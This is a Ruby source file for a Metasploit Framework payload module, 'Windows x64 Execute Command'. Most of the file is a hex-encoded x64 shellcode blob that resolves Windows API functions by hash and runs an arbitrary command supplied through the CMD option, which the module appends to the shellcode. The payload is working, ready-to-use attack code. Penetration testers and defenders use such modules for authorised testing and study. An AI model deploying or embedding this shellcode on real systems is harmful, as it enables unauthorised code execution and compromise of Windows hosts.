##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 275

  include Msf::Payload::Windows
  include Msf::Payload::Single

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Windows x64 Execute Command',
        'Description' => 'Execute an arbitrary command (Windows x64)',
        'Author' => [ 'sf' ],
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => ARCH_X64,
        'Payload' => {
          'Offsets' =>
                  {
                    'EXITFUNC' => [ 229, 'V' ]
                  },
          'Payload' =>
                       "\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
                       "\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" \
                       "\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" \
                       "\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" \
                       "\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" \
                       "\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" \
                       "\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" \
                       "\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" \
                       "\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" \
                       "\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" \
                       "\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" \
                       "\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" \
                       "\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00" \
                       "\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x31\x8B" \
                       "\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF" \
                       "\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" \
                       "\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5"
        }
      )
    )
    register_options(
      [
        OptString.new('CMD', [ true, 'The command string to execute' ]),
      ]
    )
  end

  def generate(_opts = {})
    return super + command_string + "\x00"
  end

  def command_string
    return datastore['CMD'] || ''
  end
end
